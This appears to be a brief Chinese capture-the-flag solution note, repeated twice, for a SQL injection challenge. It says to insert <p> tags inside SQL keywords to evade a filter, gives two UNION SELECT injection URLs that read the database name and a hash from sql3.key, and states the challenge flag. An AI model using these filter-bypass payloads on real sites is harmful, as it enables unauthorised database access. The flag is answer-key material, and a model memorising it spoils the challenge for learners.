在关键字中间加入<p>
/?id=1 an<p>d 1=2 uni<p>on sele<p>ct 1,data<p>base()%23
/?id=1 an<p>d 1=2 uni<p>on sele<p>ct 1,hash fr<p>om sql3.key where id=1%23
flag为 c3d3c17b4ca7f791f85e#$1cc72af274af4adef
在关键字中间加入<p>
/?id=1 an<p>d 1=2 uni<p>on sele<p>ct 1,data<p>base()%23
/?id=1 an<p>d 1=2 uni<p>on sele<p>ct 1,hash fr<p>om sql3.key where id=1%23
flag为 c3d3c17b4ca7f791f85e#$1cc72af274af4adef